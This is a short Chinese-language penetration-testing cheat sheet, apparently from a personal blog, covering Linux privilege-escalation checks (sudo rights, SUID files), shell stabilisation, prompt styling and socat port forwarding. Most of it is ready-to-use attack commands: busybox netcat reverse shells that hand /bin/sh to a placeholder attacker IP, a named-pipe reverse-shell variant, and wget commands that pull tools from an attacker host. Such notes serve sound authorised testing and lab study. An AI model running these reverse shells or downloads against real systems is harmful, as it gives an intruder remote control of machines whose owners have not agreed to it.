pentest tricks collection
不断完善中....
# 用户组
查看当前用户属组
id
1
groups $USER
1
# sudo权限
基于/etc/sudoers 配置文件,允许被授权用户以另一个用户(通常是 root)的身份执行特定的命令。
查看当前用户拥有哪些 sudo 权限。
sudo -l
1
# suid
查找系统中所有 suid 文件
find / -perm -4000 -type f 2>/dev/null
1
# 反弹shell
考虑busybox反弹shell的情况
- 靶机没有nc、ncat等反弹shell工具
- 阉割版nc,不具备反弹shell功能
- sh、bash反弹shell管道存在问题
- 使用Alpine Linux做基础镜像的容器,工具较少
busybox nc 攻击机IP 端口 -e /bin/sh
# 创建命名管道
busybox mkfifo /tmp/f
/bin/sh -i 2>&1 < /tmp/f | busybox nc 攻击者IP 端口 > /tmp/f
1
2
3
4
2
3
4
busybox wget下载远程文件
busybox wget http://攻击机IP/文件 -O /本地路径/文件
1
反弹shell生成 https://the0n3.top/shell/ (opens new window)
# 稳定shell
行列数计算
stty -a|grep 'row'|awk -F'[ ;]+' '{print "stty "$4,$5,$6,$7}'
1
script /dev/null -c bash
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# 此处使用上面计算行列数的结果
stty rows 44 columns 208
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
丢失用户名主机名环境变量可以重新设置
echo "export PS1='\[\e[1;31m\]\u\[\e[0m\]@\[\e[1;32m\]\h\[\e[0m\]:\[\e[1;34m\]\w\[\e[0m\]\\$ '" >> ~/.bashrc
source ~/.bashrc
1
2
2
好看的提示符
# 彩色提示符
export PS1='\[\e[1;31m\]\u\[\e[0m\]@\[\e[1;32m\]\h\[\e[0m\]:\[\e[1;34m\]\w\[\e[0m\]\$ '
# 带时间戳的
export PS1='\[\e[1;33m\][\t]\[\e[0m\] \u@\h:\w\$ '
# 简单的
export PS1='\u@\h:\w\$ '
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
# 端口转发
常备socat
busybox wget http://192.168.56.100/socat -O ./socat
chmod +x ./socat
nohup ./socat TCP-LISTEN:8081,bind=0.0.0.0,fork TCP:127.0.0.1:8080 &
1
2
3
2
3
编辑 (opens new window)
最后一次更新于: 2025/11/12, 22:44:28